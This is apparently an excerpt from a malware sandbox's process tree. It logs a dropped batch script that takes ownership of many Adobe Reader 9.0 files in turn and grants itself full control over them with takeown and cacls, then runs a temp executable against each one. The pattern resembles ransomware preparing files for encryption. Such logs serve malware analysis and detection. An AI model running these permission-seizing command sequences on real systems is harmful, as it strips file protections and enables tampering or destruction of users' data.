C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "email_all.gif" -nobanner4⤵PID:844
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1104
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif""2⤵PID:1120
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif" /E /G Admin:F /C3⤵PID:2028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\open_original_form.gif"3⤵PID:1196
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "open_original_form.gif" -nobanner3⤵PID:1784
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "open_original_form.gif" -nobanner4⤵PID:1408
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1056
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif""2⤵PID:1412
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif" /E /G Admin:F /C3⤵PID:1700
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif"3⤵PID:548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "rss.gif" -nobanner3⤵PID:336
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "rss.gif" -nobanner4⤵PID:1452
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1848
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif""2⤵PID:1160
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif"3⤵PID:1940
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "turnOffNotificationInTray.gif" -nobanner3⤵PID:616
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "turnOffNotificationInTray.gif" -nobanner4⤵PID:1068
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:564
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf""2⤵PID:2044
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf" /E /G Admin:F /C3⤵PID:300
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf"3⤵PID:1928
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CourierStd-Oblique.otf" -nobanner3⤵PID:1004
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CourierStd-Oblique.otf" -nobanner4⤵PID:1776
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:760
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM""2⤵PID:1492
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM" /E /G Admin:F /C3⤵PID:1120
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\SY______.PFM"3⤵PID:1248
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "SY______.PFM" -nobanner3⤵PID:1900
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "SY______.PFM" -nobanner4⤵PID:1888
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1544
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt""2⤵PID:336
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt" /E /G Admin:F /C3⤵PID:1412
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt"3⤵PID:340
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner3⤵PID:1184
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_US.txt" -nobanner4⤵PID:552
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1780
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp""2⤵PID:616
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp" /E /G Admin:F /C3⤵PID:904
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can129.hsp"3⤵PID:1532
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "can129.hsp" -nobanner3⤵PID:1308
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "can129.hsp" -nobanner4⤵PID:1896
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1196
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat""2⤵PID:732
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat" /E /G Admin:F /C3⤵PID:2044
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\ICU\icudt26l.dat"3⤵PID:1232
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "icudt26l.dat" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "icudt26l.dat" -nobanner4⤵PID:1096
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT""2⤵PID:1932
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT" /E /G Admin:F /C3⤵PID:1040
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT"3⤵PID:1328
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ROMANIAN.TXT" -nobanner3⤵PID:1184
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ROMANIAN.TXT" -nobanner4⤵PID:624
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:336
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT""2⤵PID:1984
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT" /E /G Admin:F /C3⤵PID:300
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT"3⤵PID:1896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1258.TXT" -nobanner3⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1258.TXT" -nobanner4⤵PID:1196
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1408
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif""2⤵PID:2044
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif" /E /G Admin:F /C3⤵PID:872
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif"3⤵PID:1012
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "info.gif" -nobanner3⤵PID:1888
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "info.gif" -nobanner4⤵PID:732
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1168
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif""2⤵PID:1040
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif" /E /G Admin:F /C3⤵PID:832
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif"3⤵
- Modifies file permissions
PID:1184
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "review_same_reviewers.gif" -nobanner3⤵PID:1052
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "review_same_reviewers.gif" -nobanner4⤵PID:1212
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:300
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif""2⤵PID:616
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif" /E /G Admin:F /C3⤵PID:1784
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\trash.gif"3⤵PID:240
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "trash.gif" -nobanner3⤵PID:1984
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "trash.gif" -nobanner4⤵PID:2008
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf""2⤵PID:2020
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf" /E /G Admin:F /C3⤵PID:1888
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Bold.otf"3⤵
- Modifies file permissions
PID:1168
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CourierStd-Bold.otf" -nobanner3⤵PID:2044
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CourierStd-Bold.otf" -nobanner4⤵PID:1940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:764
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf""2⤵PID:952
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf"3⤵
- Modifies file permissions
PID:300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MyriadPro-It.otf" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MyriadPro-It.otf" -nobanner4⤵PID:696
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1104
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt""2⤵PID:904
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt" /E /G Admin:F /C3⤵PID:1984
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_GB.txt"3⤵PID:872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner3⤵PID:844
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "DisplayLanguageNames.en_GB.txt" -nobanner4⤵PID:1196
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:792
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp""2⤵PID:1068
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp" /E /G Admin:F /C3⤵PID:940
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can.hyp"3⤵PID:1108
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "can.hyp" -nobanner3⤵PID:1452
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "can.hyp" -nobanner4⤵PID:1212
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1788
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp""2⤵PID:992
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp" /E /G Admin:F /C3⤵PID:240
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa37.hyp"3⤵PID:1932
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "usa37.hyp" -nobanner3⤵PID:1132
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "usa37.hyp" -nobanner4⤵PID:948
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:928
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT""2⤵PID:1364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT" /E /G Admin:F /C3⤵PID:1700
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT"3⤵PID:1604
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ICELAND.TXT" -nobanner3⤵PID:2008
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ICELAND.TXT" -nobanner4⤵PID:1940
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2000
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT""2⤵PID:1896
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT" /E /G Admin:F /C3⤵PID:1328
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT"3⤵PID:2044
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "CP1254.TXT" -nobanner3⤵PID:1248
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "CP1254.TXT" -nobanner4⤵PID:1040
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:240
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif""2⤵PID:1984
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif" /E /G Admin:F /C3⤵PID:1956
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\ended_review_or_form.gif"3⤵
- Modifies file permissions
PID:428
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ended_review_or_form.gif" -nobanner3⤵PID:1532
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ended_review_or_form.gif" -nobanner4⤵PID:1196
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:904
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif""2⤵PID:832
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif" /E /G Admin:F /C3⤵PID:1108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviewers.gif"3⤵PID:680
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "reviewers.gif" -nobanner3⤵PID:844
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "reviewers.gif" -nobanner4⤵PID:1184
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1068
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif""2⤵PID:336
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif" /E /G Admin:F /C3⤵PID:1928
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_lg.gif"3⤵
- Modifies file permissions
PID:1056
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "server_lg.gif" -nobanner3⤵PID:1212
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "server_lg.gif" -nobanner4⤵PID:872
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1408
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif""2⤵PID:1700
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif" /E /G Admin:F /C3⤵PID:732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOnNotificationInTray.gif"3⤵
- Modifies file permissions
PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "turnOnNotificationInTray.gif" -nobanner3⤵PID:948
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "turnOnNotificationInTray.gif" -nobanner4⤵PID:2020
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1372
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf""2⤵PID:1328
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf" /E /G Admin:F /C3⤵PID:624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Bold.otf"3⤵
- Modifies file permissions
PID:832
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "MinionPro-Bold.otf" -nobanner3⤵PID:1104
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "MinionPro-Bold.otf" -nobanner4⤵PID:1052
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1896
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm""2⤵PID:928
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm" /E /G Admin:F /C3⤵PID:428
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\PFM\zy______.pfm"3⤵
- Modifies file permissions
PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "zy______.pfm" -nobanner3⤵PID:552
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "zy______.pfm" -nobanner4⤵PID:904
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1984
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca""2⤵PID:1364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca" /E /G Admin:F /C3⤵PID:1788
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca"3⤵
- Modifies file permissions
PID:792
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "brt.fca" -nobanner3⤵PID:1780
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "brt.fca" -nobanner4⤵PID:1548
-
-
-
